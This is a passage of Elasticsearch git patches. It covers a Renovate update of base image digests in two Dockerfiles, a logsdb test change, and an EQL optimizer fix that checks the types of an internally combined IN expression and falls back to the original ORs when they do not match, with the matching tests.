♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get
[config help](https://elastic.slack.com/archives/C07AMD4CNUR) if that's
undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate
Bot](https://redirect.github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiOS4xIiwibGFiZWxzIjpbIjpEZWxpdmVyeS9QYWNrYWdpbmciLCI+bm9uLWlzc3VlIiwiVGVhbTpEZWxpdmVyeSIsImF1dG8tbWVyZ2Utd2l0aG91dC1hcHByb3ZhbCJdfQ==-->
---
 .../docker/src/docker/dockerfiles/cloud_ess_fips/Dockerfile   | 4 ++--
 distribution/docker/src/docker/dockerfiles/wolfi/Dockerfile   | 4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/distribution/docker/src/docker/dockerfiles/cloud_ess_fips/Dockerfile b/distribution/docker/src/docker/dockerfiles/cloud_ess_fips/Dockerfile
index 48893e868dd9d..0706873feaacc 100644
--- a/distribution/docker/src/docker/dockerfiles/cloud_ess_fips/Dockerfile
+++ b/distribution/docker/src/docker/dockerfiles/cloud_ess_fips/Dockerfile
@@ -24,7 +24,7 @@
 # Extract Elasticsearch artifact
 ################################################################################
 
-FROM docker.elastic.co/wolfi/chainguard-base-fips:latest@sha256:93befc0b3711e8091ab5da81d0a45a3568c3a846a9f097771403f2ba04430812 AS builder
+FROM docker.elastic.co/wolfi/chainguard-base-fips:latest@sha256:4a8fe3e7390fcf11a88b216b4608f1db322c327e801898386808551ebbdc7523 AS builder
 
 # Install required packages to extract the Elasticsearch distribution
 RUN <%= retry.loop(package_manager, "export DEBIAN_FRONTEND=noninteractive && ${package_manager} update && ${package_manager} update && ${package_manager} add --no-cache curl") %>
@@ -103,7 +103,7 @@ WORKDIR /usr/share/elasticsearch/config
 # Add entrypoint
 ################################################################################
 
-FROM docker.elastic.co/wolfi/chainguard-base-fips:latest@sha256:93befc0b3711e8091ab5da81d0a45a3568c3a846a9f097771403f2ba04430812
+FROM docker.elastic.co/wolfi/chainguard-base-fips:latest@sha256:4a8fe3e7390fcf11a88b216b4608f1db322c327e801898386808551ebbdc7523
 
 RUN <%= retry.loop(package_manager,
           "export DEBIAN_FRONTEND=noninteractive && \n" +
diff --git a/distribution/docker/src/docker/dockerfiles/wolfi/Dockerfile b/distribution/docker/src/docker/dockerfiles/wolfi/Dockerfile
index 12b5c17f0e43a..0168e6c9e5364 100644
--- a/distribution/docker/src/docker/dockerfiles/wolfi/Dockerfile
+++ b/distribution/docker/src/docker/dockerfiles/wolfi/Dockerfile
@@ -24,7 +24,7 @@
 # Extract Elasticsearch artifact
 ################################################################################
 
-FROM docker.elastic.co/wolfi/chainguard-base:latest@sha256:2a601e3db11b58d6d5bfedb651c513e46556e231a56f437990ec4f0248f2207b AS builder
+FROM docker.elastic.co/wolfi/chainguard-base:latest@sha256:442a5663000b3d66d565e61d400b30a4638383a72d90494cfc3104b34dfb3211 AS builder
 
 # Install required packages to extract the Elasticsearch distribution
 RUN <%= retry.loop(package_manager, "export DEBIAN_FRONTEND=noninteractive && ${package_manager} update && ${package_manager} update && ${package_manager} add --no-cache curl") %>
@@ -79,7 +79,7 @@ RUN sed -i -e 's/ES_DISTRIBUTION_TYPE=tar/ES_DISTRIBUTION_TYPE=docker/' bin/elas
 # Add entrypoint
 ################################################################################
 
-FROM docker.elastic.co/wolfi/chainguard-base:latest@sha256:2a601e3db11b58d6d5bfedb651c513e46556e231a56f437990ec4f0248f2207b
+FROM docker.elastic.co/wolfi/chainguard-base:latest@sha256:442a5663000b3d66d565e61d400b30a4638383a72d90494cfc3104b34dfb3211
 
 RUN <%= retry.loop(package_manager,
           "export DEBIAN_FRONTEND=noninteractive && \n" +

From b8e9b953453595083f627d0e79283a5ddaa8884f Mon Sep 17 00:00:00 2001
From: Mary Gouseti <mary.gouseti@elastic.co>
Date: Mon, 4 Aug 2025 14:13:05 +0300
Subject: [PATCH 284/299] [9.1] Reduce the number of fields per document
 (#132322) (#132389)

---
 .../logsdb/qa/StandardVersusLogsIndexModeChallengeRestIT.java   | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/x-pack/plugin/logsdb/src/javaRestTest/java/org/elasticsearch/xpack/logsdb/qa/StandardVersusLogsIndexModeChallengeRestIT.java b/x-pack/plugin/logsdb/src/javaRestTest/java/org/elasticsearch/xpack/logsdb/qa/StandardVersusLogsIndexModeChallengeRestIT.java
index 737fe5693215a..c9a25764002cd 100644
--- a/x-pack/plugin/logsdb/src/javaRestTest/java/org/elasticsearch/xpack/logsdb/qa/StandardVersusLogsIndexModeChallengeRestIT.java
+++ b/x-pack/plugin/logsdb/src/javaRestTest/java/org/elasticsearch/xpack/logsdb/qa/StandardVersusLogsIndexModeChallengeRestIT.java
@@ -55,7 +55,7 @@ public abstract class StandardVersusLogsIndexModeChallengeRestIT extends Abstrac
     protected final DataGenerationHelper dataGenerationHelper;
 
     public StandardVersusLogsIndexModeChallengeRestIT() {
-        this(new DataGenerationHelper());
+        this(new DataGenerationHelper(builder -> builder.withMaxFieldCountPerLevel(30)));
     }
 
     protected StandardVersusLogsIndexModeChallengeRestIT(DataGenerationHelper dataGenerationHelper) {

From ccc0108a1adf13c7d2e0d2d0e41a10adda0c07e9 Mon Sep 17 00:00:00 2001
From: Andrei Stefan <astefan@users.noreply.github.com>
Date: Mon, 4 Aug 2025 16:13:53 +0300
Subject: [PATCH 285/299] EQL: Deal with internally created IN in a different
 way for EQL (#132167) (#132392)

---
 docs/changelog/132167.yaml                    |   6 +
 x-pack/plugin/eql/qa/common/build.gradle      |   7 +
 .../elasticsearch/test/eql/DataLoader.java    |  50 +++-
 .../xpack/eql/optimizer/Optimizer.java        |   9 +-
 .../test/resources/querytranslator_tests.txt  |  84 ++++++
 .../predicate/operator/comparison/In.java     |   4 +
 .../xpack/ql/optimizer/OptimizerRules.java    |  59 +++-
 .../ql/optimizer/OptimizerRulesTests.java     | 253 +++++++++++++++---
 8 files changed, 409 insertions(+), 63 deletions(-)
 create mode 100644 docs/changelog/132167.yaml

diff --git a/docs/changelog/132167.yaml b/docs/changelog/132167.yaml
new file mode 100644
index 0000000000000..ae3c724ecfa17
--- /dev/null
+++ b/docs/changelog/132167.yaml
@@ -0,0 +1,6 @@
+pr: 132167
+summary: Deal with internally created IN in a different way for EQL
+area: EQL
+type: bug
+issues:
+ - 118621
diff --git a/x-pack/plugin/eql/qa/common/build.gradle b/x-pack/plugin/eql/qa/common/build.gradle
index 5fe6e54a440a8..04cfb01f9376f 100644
--- a/x-pack/plugin/eql/qa/common/build.gradle
+++ b/x-pack/plugin/eql/qa/common/build.gradle
@@ -8,3 +8,10 @@ dependencies {
   // TOML parser for EqlActionIT tests
   api 'io.ous:jtoml:2.0.0'
 }
+
+tasks.register("loadTestData", JavaExec) {
+  group = "Execution"
+  description = "Loads EQL Spec Tests data on a running stand-alone instance"
+  classpath = sourceSets.main.runtimeClasspath
+  mainClass = "org.elasticsearch.test.eql.DataLoader"
+}
diff --git a/x-pack/plugin/eql/qa/common/src/main/java/org/elasticsearch/test/eql/DataLoader.java b/x-pack/plugin/eql/qa/common/src/main/java/org/elasticsearch/test/eql/DataLoader.java
index 4618bd8f4ff3d..2794f514777a5 100644
--- a/x-pack/plugin/eql/qa/common/src/main/java/org/elasticsearch/test/eql/DataLoader.java
+++ b/x-pack/plugin/eql/qa/common/src/main/java/org/elasticsearch/test/eql/DataLoader.java
@@ -76,39 +76,60 @@ private static Map<String, String[]> getReplacementPatterns() {
     public static void main(String[] args) throws IOException {
         main = true;
         try (RestClient client = RestClient.builder(new HttpHost("localhost", 9200)).build()) {
-            loadDatasetIntoEs(client, DataLoader::createParser);
+            loadDatasetIntoEsWithIndexCreator(client, DataLoader::createParser, (restClient, indexName, indexMapping) -> {
+                // don't use ESRestTestCase methods here or, if you do, test running the main method before making the change
+                StringBuilder jsonBody = new StringBuilder("{");
+                jsonBody.append("\"settings\":{\"number_of_shards\":1},");
+                jsonBody.append("\"mappings\":");
+                jsonBody.append(indexMapping);
+                jsonBody.append("}");
+
+                Request request = new Request("PUT", "/" + indexName);
+                request.setJsonEntity(jsonBody.toString());
+                restClient.performRequest(request);
+            });
         }
     }
 
     public static void loadDatasetIntoEs(RestClient client, CheckedBiFunction<XContent, InputStream, XContentParser, IOException> p)
         throws IOException {
+        loadDatasetIntoEsWithIndexCreator(client, p, (restClient, indexName, indexMapping) -> {
+            ESRestTestCase.createIndex(restClient, indexName, Settings.builder().put("number_of_shards", 1).build(), indexMapping, null);
+        });
+    }
+
+    private static void loadDatasetIntoEsWithIndexCreator(
+        RestClient client,
+        CheckedBiFunction<XContent, InputStream, XContentParser, IOException> p,
+        IndexCreator indexCreator
+    ) throws IOException {
 
         //
         // Main Index
         //
-        load(client, TEST_INDEX, null, DataLoader::timestampToUnixMillis, p);
+        load(client, TEST_INDEX, null, DataLoader::timestampToUnixMillis, p, indexCreator);
         //
         // Aux Index
         //
-        load(client, TEST_EXTRA_INDEX, null, null, p);
+        load(client, TEST_EXTRA_INDEX, null, null, p, indexCreator);
         //
         // Date_Nanos index
         //
         // The data for this index is loaded from the same endgame-140.data sample, only having the mapping for @timestamp changed: the
         // chosen Windows filetime timestamps (2017+) can coincidentally also be readily used as nano-resolution unix timestamps (1973+).
         // There are mixed values with and without nanos precision so that the filtering is properly tested for both cases.
-        load(client, TEST_NANOS_INDEX, TEST_INDEX, DataLoader::timestampToUnixNanos, p);
-        load(client, TEST_SAMPLE, null, null, p);
+        load(client, TEST_NANOS_INDEX, TEST_INDEX, DataLoader::timestampToUnixNanos, p, indexCreator);
+        load(client, TEST_SAMPLE, null, null, p, indexCreator);
         //
         // missing_events index
         //
-        load(client, TEST_MISSING_EVENTS_INDEX, null, null, p);
-        load(client, TEST_SAMPLE_MULTI, null, null, p);
+        load(client, TEST_MISSING_EVENTS_INDEX, null, null, p, indexCreator);
+        load(client, TEST_SAMPLE_MULTI, null, null, p, indexCreator);
         //
         // index with a runtime field ("broken", type long) that causes shard failures.
         // the rest of the mapping is the same as TEST_INDEX
         //
-        load(client, TEST_SHARD_FAILURES_INDEX, null, DataLoader::timestampToUnixMillis, p);
+        load(client, TEST_SHARD_FAILURES_INDEX, null, DataLoader::timestampToUnixMillis, p, indexCreator);
     }
 
     private static void load(
@@ -116,7 +137,8 @@ private static void load(
         String indexNames,
         String dataName,
         Consumer<Map<String, Object>> datasetTransform,
-        CheckedBiFunction<XContent, InputStream, XContentParser, IOException> p
+        CheckedBiFunction<XContent, InputStream, XContentParser, IOException> p,
+        IndexCreator indexCreator
     ) throws IOException {
         String[] splitNames = indexNames.split(",");
         for (String indexName : splitNames) {
@@ -130,15 +152,11 @@ private static void load(
             if (data == null) {
                 throw new IllegalArgumentException("Cannot find resource " + name);
             }
-            createTestIndex(client, indexName, readMapping(mapping));
+            indexCreator.createIndex(client, indexName, readMapping(mapping));
             loadData(client, indexName, datasetTransform, data, p);
         }
     }
 
-    private static void createTestIndex(RestClient client, String indexName, String mapping) throws IOException {
-        ESRestTestCase.createIndex(client, indexName, Settings.builder().put("number_of_shards", 1).build(), mapping, null);
-    }
-
     /**
      * Reads the mapping file, ignoring comments and replacing placeholders for random types.
      */
@@ -236,4 +254,8 @@ private static XContentParser createParser(XContent xContent, InputStream data)
         NamedXContentRegistry contentRegistry = new NamedXContentRegistry(ClusterModule.getNamedXWriteables());
         return xContent.createParser(contentRegistry, LoggingDeprecationHandler.INSTANCE, data);
     }
+
+    private interface IndexCreator {
+        void createIndex(RestClient client, String indexName, String mapping) throws IOException;
+    }
 }
diff --git a/x-pack/plugin/eql/src/main/java/org/elasticsearch/xpack/eql/optimizer/Optimizer.java b/x-pack/plugin/eql/src/main/java/org/elasticsearch/xpack/eql/optimizer/Optimizer.java
index 5bccf013bc789..17f095db5033e 100644
--- a/x-pack/plugin/eql/src/main/java/org/elasticsearch/xpack/eql/optimizer/Optimizer.java
+++ b/x-pack/plugin/eql/src/main/java/org/elasticsearch/xpack/eql/optimizer/Optimizer.java
@@ -44,7 +44,6 @@
 import org.elasticsearch.xpack.ql.optimizer.OptimizerRules.BinaryComparisonSimplification;
 import org.elasticsearch.xpack.ql.optimizer.OptimizerRules.BooleanFunctionEqualsElimination;
 import org.elasticsearch.xpack.ql.optimizer.OptimizerRules.BooleanSimplification;
-import org.elasticsearch.xpack.ql.optimizer.OptimizerRules.CombineDisjunctionsToIn;
 import org.elasticsearch.xpack.ql.optimizer.OptimizerRules.ConstantFolding;
 import org.elasticsearch.xpack.ql.optimizer.OptimizerRules.LiteralsOnTheRight;
 import org.elasticsearch.xpack.ql.optimizer.OptimizerRules.OptimizerRule;
@@ -252,6 +251,14 @@ protected Expression maybeSimplifyNegatable(Expression e) {
 
     }
 
+    static class CombineDisjunctionsToIn extends org.elasticsearch.xpack.ql.optimizer.OptimizerRules.CombineDisjunctionsToIn {
+
+        @Override
+        protected boolean shouldValidateIn() {
+            return true;
+        }
+    }
+
     static class PruneFilters extends org.elasticsearch.xpack.ql.optimizer.OptimizerRules.PruneFilters {
 
         @Override
diff --git a/x-pack/plugin/eql/src/test/resources/querytranslator_tests.txt b/x-pack/plugin/eql/src/test/resources/querytranslator_tests.txt
index 00c08096fd084..84ad63b964981 100644
--- a/x-pack/plugin/eql/src/test/resources/querytranslator_tests.txt
+++ b/x-pack/plugin/eql/src/test/resources/querytranslator_tests.txt
@@ -123,6 +123,90 @@ process where process_name in ("python.exe", "SMSS.exe", "explorer.exe")
 "terms":{"process_name":["python.exe","SMSS.exe","explorer.exe"],
 ;
 
+mutipleOrEquals_As_InTranslation1
+process where process_name == "python.exe" or process_name == "SMSS.exe" or process_name == "explorer.exe"
+;
+"terms":{"process_name":["python.exe","SMSS.exe","explorer.exe"],
+;
+
+multipleOrAndEquals_As_InTranslation
+process where process_name == "python.exe" and process_name == "SMSS.exe" or process_name == "explorer.exe" or process_name == "test.exe"
+;
+{"bool":{"should":[{"bool":{"must":[{"term":{"process_name":{"value":"python.exe"}}},{"term":{"process_name":{"value":"SMSS.exe"}}}],"boost":1.0}},{"terms":{"process_name":["explorer.exe","test.exe"],"boost":1.0}}],"boost":1.0}}
+;
+
+mutipleOrEquals_As_InTranslation2
+process where source_address == "123.12.1.1" or (opcode == 123 or opcode == 127)
+;
+{"bool":{"should":[{"term":{"source_address":{"value":"123.12.1.1"}}},{"terms":{"opcode":[123,127],"boost":1.0}}],"boost":1.0}}
+;
+
+mutipleOrEquals_As_InTranslation3
+process where (source_address == "123.12.1.1" or source_address == "127.0.0.1") and (opcode == 123 or opcode == 127)
+;
+{"bool":{"should":[{"term":{"source_address":{"value":"123.12.1.1"}}},{"term":{"source_address":{"value":"127.0.0.1"}}}],"boost":1.0}},{"terms":{"opcode":[123,127],"boost":1.0}}
+;
+
+mutipleOrEquals_As_InTranslation4
+process where (source_address == "123.12.1.1" or source_address == "127.0.0.1") and (opcode == 123 or opcode == 127)
+;
+"must":[{"bool":{"should":[{"term":{"source_address":{"value":"123.12.1.1"}}},{"term":{"source_address":{"value":"127.0.0.1"}}}],"boost":1.0}},{"terms":{"opcode":[123,127],"boost":1.0}},{"term":{"event.category":{"value":"process"}}}]
+;
+
+multipleOrIncompatibleTypes1
+process where process_name == "python.exe" or process_name == 2 or process_name == "3"
+;
+{"bool":{"should":[{"term":{"process_name":{"value":"python.exe"}}},{"term":{"process_name":{"value":2}}},{"term":{"process_name":{"value":"3"}}}],"boost":1.0}}
+;
+
+multipleOrIncompatibleTypes2
+process where process_name == "1" or process_name == 2 or process_name == "3"
+;
+{"bool":{"should":[{"term":{"process_name":{"value":"1"}}},{"term":{"process_name":{"value":2}}},{"term":{"process_name":{"value":"3"}}}],"boost":1.0}}
+;
+
+multipleOrIncompatibleTypes3
+process where process_name == 1.2 or process_name == 2 or process_name == "3"
+;
+{"bool":{"should":[{"term":{"process_name":{"value":1.2}}},{"term":{"process_name":{"value":2}}},{"term":{"process_name":{"value":"3"}}}],"boost":1.0}}
+;
+
+// this query as an equivalent with
+// process where process_name in (1.2, 2, 3)
+// will result in a user error: 1st argument of [process_name in (1.2, 2, 3)] must be [keyword], found value [1.2] type [double]
+multipleOrIncompatibleTypes4
+process where process_name == 1.2 or process_name == 2 or process_name == 3
+;
+{"bool":{"should":[{"term":{"process_name":{"value":1.2}}},{"term":{"process_name":{"value":2}}},{"term":{"process_name":{"value":3}}}],"boost":1.0}}
+;
+
+// this query as an equivalent with
+// process where source_address in ("123.12.1.1", "123.12.1.2")
+// will result in a user error: 1st argument of [source_address in ("123.12.1.1", "123.12.1.2")] must be [ip], found value ["123.12.1.1"] type [keyword]
+multipleOrIncompatibleTypes5
+process where source_address == "123.12.1.1" or source_address == "123.12.1.2"
+;
+{"bool":{"should":[{"term":{"source_address":{"value":"123.12.1.1"}}},{"term":{"source_address":{"value":"123.12.1.2"}}}],"boost":1.0}}
+;
+
+multipleOrIncompatibleTypes6
+process where source_address == "123.12.1.1" or source_address == concat("123.12.","1.2")
+;
+{"bool":{"should":[{"term":{"source_address":{"value":"123.12.1.1"}}},{"term":{"source_address":{"value":"123.12.1.2"}}}],"boost":1.0}}
+;
+
+multipleOrIncompatibleTypes7
+process where source_address == "123.12.1.1" and (source_address == "123.12.1.2" or source_address >= "127.0.0.1")
+;
+"must":[{"term":{"source_address":{"value":"123.12.1.1"}}},{"bool":{"should":[{"term":{"source_address":{"value":"123.12.1.2"}}},{"range":{"source_address":{"gte":"127.0.0.1","boost":1.0}}}],"boost":1.0}},{"term":{"event.category":{"value":"process"}}}]
+;
+
+multipleOrIncompatibleTypes8
+process where source_address == "123.12.1.1" and (source_address == "123.12.1.2" or source_address == "127.0.0.1")
+;
+"must":[{"term":{"source_address":{"value":"123.12.1.1"}}},{"bool":{"should":[{"term":{"source_address":{"value":"123.12.1.2"}}},{"term":{"source_address":{"value":"127.0.0.1"}}}],"boost":1.0}},{"term":{"event.category":{"value":"process"}}}]
+;
+
 inFilterWithScripting
 process where substring(command_line, 5) in ("test*","best")
 ;
diff --git a/x-pack/plugin/ql/src/main/java/org/elasticsearch/xpack/ql/expression/predicate/operator/comparison/In.java b/x-pack/plugin/ql/src/main/java/org/elasticsearch/xpack/ql/expression/predicate/operator/comparison/In.java
index f12f8edb71795..0398288960dc1 100644
--- a/x-pack/plugin/ql/src/main/java/org/elasticsearch/xpack/ql/expression/predicate/operator/comparison/In.java
+++ b/x-pack/plugin/ql/src/main/java/org/elasticsearch/xpack/ql/expression/predicate/operator/comparison/In.java
@@ -177,6 +177,10 @@ protected TypeResolution resolveType() {
         return super.resolveType();
     }
 
+    public TypeResolution validateInTypes() {
+        return resolveType();
+    }
+
     @Override
     public int hashCode() {
         return Objects.hash(value, list);
diff --git a/x-pack/plugin/ql/src/main/java/org/elasticsearch/xpack/ql/optimizer/OptimizerRules.java b/x-pack/plugin/ql/src/main/java/org/elasticsearch/xpack/ql/optimizer/OptimizerRules.java
index 7625cbf3a56e5..a5e1d3bdbe620 100644
--- a/x-pack/plugin/ql/src/main/java/org/elasticsearch/xpack/ql/optimizer/OptimizerRules.java
+++ b/x-pack/plugin/ql/src/main/java/org/elasticsearch/xpack/ql/optimizer/OptimizerRules.java
@@ -1203,8 +1203,8 @@ private static boolean notEqualsIsRemovableFromConjunction(NotEquals notEquals,
      * 2. a == 1 OR a IN (2) becomes a IN (1, 2)
      * 3. a IN (1) OR a IN (2) becomes a IN (1, 2)
      *
-     * This rule does NOT check for type compatibility as that phase has been
-     * already be verified in the analyzer.
+     * By default (see {@link #shouldValidateIn()}), this rule does NOT check for type compatibility as that phase has
+     * already been verified in the analyzer, but this behavior can be changed by subclasses.
      */
     public static class CombineDisjunctionsToIn extends OptimizerExpressionRule<Or> {
         public CombineDisjunctionsToIn() {
@@ -1214,18 +1214,24 @@ public CombineDisjunctionsToIn() {
         @Override
         protected Expression rule(Or or) {
             Expression e = or;
-            // look only at equals and In
+            // look only at Equals and In
             List<Expression> exps = splitOr(e);
 
             Map<Expression, Set<Expression>> found = new LinkedHashMap<>();
+            Map<Expression, List<Expression>> originalOrs = new LinkedHashMap<>();
             ZoneId zoneId = null;
             List<Expression> ors = new LinkedList<>();
 
             for (Expression exp : exps) {
                 if (exp instanceof Equals eq) {
-                    // consider only equals against foldables
+                    // consider only Equals against foldables
                     if (eq.right().foldable()) {
                         found.computeIfAbsent(eq.left(), k -> new LinkedHashSet<>()).add(eq.right());
+                        if (shouldValidateIn()) {
+                            // in case there is an optimized In being built and its validation fails, rebuild the original ORs
+                            // so, keep around the original Expressions
+                            originalOrs.computeIfAbsent(eq.left(), k -> new ArrayList<>()).add(eq);
+                        }
                     } else {
                         ors.add(exp);
                     }
@@ -1234,6 +1240,11 @@ protected Expression rule(Or or) {
                     }
                 } else if (exp instanceof In in) {
                     found.computeIfAbsent(in.value(), k -> new LinkedHashSet<>()).addAll(in.list());
+                    if (shouldValidateIn()) {
+                        // in case there is an optimized In being built and its validation fails, rebuild the original ORs
+                        // so, keep around the original Expressions
+                        originalOrs.computeIfAbsent(in.value(), k -> new ArrayList<>()).add(in);
+                    }
                     if (zoneId == null) {
                         zoneId = in.zoneId();
                     }
@@ -1243,11 +1254,31 @@ protected Expression rule(Or or) {
             }
 
             if (found.isEmpty() == false) {
-                // combine equals alongside the existing ors
+                // combine Equals alongside the existing ORs
                 final ZoneId finalZoneId = zoneId;
-                found.forEach(
-                    (k, v) -> { ors.add(v.size() == 1 ? createEquals(k, v, finalZoneId) : createIn(k, new ArrayList<>(v), finalZoneId)); }
-                );
+                found.forEach((k, v) -> {
+                    if (v.size() == 1) {
+                        ors.add(createEquals(k, v.iterator().next(), finalZoneId));
+                    } else {
+                        In in = createIn(k, new ArrayList<>(v), finalZoneId);
+                        // IN has its own particularities when it comes to type resolution and not all implementations
+                        // double check the validity of an internally created IN (like the one created here). EQL is one where the IN
+                        // implementation is like this mechanism here has been specifically created for it
+                        if (shouldValidateIn()) {
+                            Expression.TypeResolution resolution = in.validateInTypes();
+                            if (resolution.unresolved()) {
+                                // if the internally created In is not valid, fall back to the original ORs
+                                assert originalOrs.containsKey(k);
+                                assert originalOrs.get(k).isEmpty() == false;
+                                ors.add(combineOr(originalOrs.get(k)));
+                            } else {
+                                ors.add(in);
+                            }
+                        } else {
+                            ors.add(in);
+                        }
+                    }
+                });
 
                 Expression combineOr = combineOr(ors);
                 // check the result semantically since the result might different in order
@@ -1261,13 +1292,17 @@ protected Expression rule(Or or) {
             return e;
         }
 
-        protected Equals createEquals(Expression k, Set<Expression> v, ZoneId finalZoneId) {
-            return new Equals(k.source(), k, v.iterator().next(), finalZoneId);
-        }
-
         protected In createIn(Expression key, List<Expression> values, ZoneId zoneId) {
             return new In(key.source(), key, values, zoneId);
         }
+
+        protected boolean shouldValidateIn() {
+            return false;
+        }
+
+        private Equals createEquals(Expression key, Expression value, ZoneId finalZoneId) {
+            return new Equals(key.source(), key, value, finalZoneId);
+        }
     }
 
     public static class PushDownAndCombineFilters extends OptimizerRule<Filter> {
diff --git a/x-pack/plugin/ql/src/test/java/org/elasticsearch/xpack/ql/optimizer/OptimizerRulesTests.java b/x-pack/plugin/ql/src/test/java/org/elasticsearch/xpack/ql/optimizer/OptimizerRulesTests.java
index bc7e0b2a93bf5..9e60a60c4c3d3 100644
--- a/x-pack/plugin/ql/src/test/java/org/elasticsearch/xpack/ql/optimizer/OptimizerRulesTests.java
+++ b/x-pack/plugin/ql/src/test/java/org/elasticsearch/xpack/ql/optimizer/OptimizerRulesTests.java
@@ -66,6 +66,8 @@
 import java.time.ZoneId;
 import java.util.Collections;
 import java.util.List;
+import java.util.Set;
+import java.util.function.Consumer;
 
 import static java.util.Arrays.asList;
 import static java.util.Collections.emptyList;
@@ -105,6 +107,9 @@ public class OptimizerRulesTests extends ESTestCase {
     private static final Literal FOUR = L(4);
     private static final Literal FIVE = L(5);
     private static final Literal SIX = L(6);
+    private static final Literal TEXT_A = L("A");
+    private static final Literal TEXT_B = L("B");
+    private static final Literal TEXT_C = L("C");
 
     public static class DummyBooleanExpression extends Expression {
 
@@ -1491,48 +1496,71 @@ public void testExactMatchRLike() throws Exception {
     //
     // CombineDisjunction in Equals
     //
+
+    // CombineDisjunctionsToIn with shouldValidateIn as true
+    private final class ValidateableCombineDisjunctionsToIn extends CombineDisjunctionsToIn {
+        @Override
+        protected boolean shouldValidateIn() {
+            return true;
+        }
+    };
+
+    private void assertCombineDisjunctionsToIn(Consumer<CombineDisjunctionsToIn> tester) {
+        for (CombineDisjunctionsToIn rule : Set.of(new CombineDisjunctionsToIn(), new ValidateableCombineDisjunctionsToIn())) {
+            tester.accept(rule);
+        }
+    }
+
     public void testTwoEqualsWithOr() throws Exception {
         FieldAttribute fa = getFieldAttribute();
 
         Or or = new Or(EMPTY, equalsOf(fa, ONE), equalsOf(fa, TWO));
-        Expression e = new CombineDisjunctionsToIn().rule(or);
-        assertEquals(In.class, e.getClass());
-        In in = (In) e;
-        assertEquals(fa, in.value());
-        assertThat(in.list(), contains(ONE, TWO));
+        assertCombineDisjunctionsToIn((rule) -> {
+            Expression e = rule.rule(or);
+            assertEquals(In.class, e.getClass());
+            In in = (In) e;
+            assertEquals(fa, in.value());
+            assertThat(in.list(), contains(ONE, TWO));
+        });
     }
 
     public void testTwoEqualsWithSameValue() throws Exception {
         FieldAttribute fa = getFieldAttribute();
 
         Or or = new Or(EMPTY, equalsOf(fa, ONE), equalsOf(fa, ONE));
-        Expression e = new CombineDisjunctionsToIn().rule(or);
-        assertEquals(Equals.class, e.getClass());
-        Equals eq = (Equals) e;
-        assertEquals(fa, eq.left());
-        assertEquals(ONE, eq.right());
+        assertCombineDisjunctionsToIn((rule) -> {
+            Expression e = rule.rule(or);
+            assertEquals(Equals.class, e.getClass());
+            Equals eq = (Equals) e;
+            assertEquals(fa, eq.left());
+            assertEquals(ONE, eq.right());
+        });
     }
 
     public void testOneEqualsOneIn() throws Exception {
         FieldAttribute fa = getFieldAttribute();
 
         Or or = new Or(EMPTY, equalsOf(fa, ONE), new In(EMPTY, fa, singletonList(TWO)));
-        Expression e = new CombineDisjunctionsToIn().rule(or);
-        assertEquals(In.class, e.getClass());
-        In in = (In) e;
-        assertEquals(fa, in.value());
-        assertThat(in.list(), contains(ONE, TWO));
+        assertCombineDisjunctionsToIn((rule) -> {
+            Expression e = rule.rule(or);
+            assertEquals(In.class, e.getClass());
+            In in = (In) e;
+            assertEquals(fa, in.value());
+            assertThat(in.list(), contains(ONE, TWO));
+        });
     }
 
     public void testOneEqualsOneInWithSameValue() throws Exception {
         FieldAttribute fa = getFieldAttribute();
 
         Or or = new Or(EMPTY, equalsOf(fa, ONE), new In(EMPTY, fa, asList(ONE, TWO)));
-        Expression e = new CombineDisjunctionsToIn().rule(or);
-        assertEquals(In.class, e.getClass());
-        In in = (In) e;
-        assertEquals(fa, in.value());
-        assertThat(in.list(), contains(ONE, TWO));
+        assertCombineDisjunctionsToIn((rule) -> {
+            Expression e = rule.rule(or);
+            assertEquals(In.class, e.getClass());
+            In in = (In) e;
+            assertEquals(fa, in.value());
+            assertThat(in.list(), contains(ONE, TWO));
+        });
     }
 
     public void testSingleValueInToEquals() throws Exception {
@@ -1540,8 +1568,10 @@ public void testSingleValueInToEquals() throws Exception {
 
         Equals equals = equalsOf(fa, ONE);
         Or or = new Or(EMPTY, equals, new In(EMPTY, fa, singletonList(ONE)));
-        Expression e = new CombineDisjunctionsToIn().rule(or);
-        assertEquals(equals, e);
+        assertCombineDisjunctionsToIn((rule) -> {
+            Expression e = rule.rule(or);
+            assertEquals(equals, e);
+        });
     }
 
     public void testEqualsBehindAnd() throws Exception {
@@ -1549,9 +1579,11 @@ public void testEqualsBehindAnd() throws Exception {
 
         And and = new And(EMPTY, equalsOf(fa, ONE), equalsOf(fa, TWO));
         Filter dummy = new Filter(EMPTY, relation(), and);
-        LogicalPlan transformed = new CombineDisjunctionsToIn().apply(dummy);
-        assertSame(dummy, transformed);
-        assertEquals(and, ((Filter) transformed).condition());
+        assertCombineDisjunctionsToIn((rule) -> {
+            LogicalPlan transformed = rule.apply(dummy);
+            assertSame(dummy, transformed);
+            assertEquals(and, ((Filter) transformed).condition());
+        });
     }
 
     public void testTwoEqualsDifferentFields() throws Exception {
@@ -1559,8 +1591,10 @@ public void testTwoEqualsDifferentFields() throws Exception {
         FieldAttribute fieldTwo = TestUtils.getFieldAttribute("TWO");
 
         Or or = new Or(EMPTY, equalsOf(fieldOne, ONE), equalsOf(fieldTwo, TWO));
-        Expression e = new CombineDisjunctionsToIn().rule(or);
-        assertEquals(or, e);
+        assertCombineDisjunctionsToIn((rule) -> {
+            Expression e = rule.rule(or);
+            assertEquals(or, e);
+        });
     }
 
     public void testMultipleIn() throws Exception {
@@ -1568,11 +1602,13 @@ public void testMultipleIn() throws Exception {
 
         Or firstOr = new Or(EMPTY, new In(EMPTY, fa, singletonList(ONE)), new In(EMPTY, fa, singletonList(TWO)));
         Or secondOr = new Or(EMPTY, firstOr, new In(EMPTY, fa, singletonList(THREE)));
-        Expression e = new CombineDisjunctionsToIn().rule(secondOr);
-        assertEquals(In.class, e.getClass());
-        In in = (In) e;
-        assertEquals(fa, in.value());
-        assertThat(in.list(), contains(ONE, TWO, THREE));
+        assertCombineDisjunctionsToIn((rule) -> {
+            Expression e = rule.rule(secondOr);
+            assertEquals(In.class, e.getClass());
+            In in = (In) e;
+            assertEquals(fa, in.value());
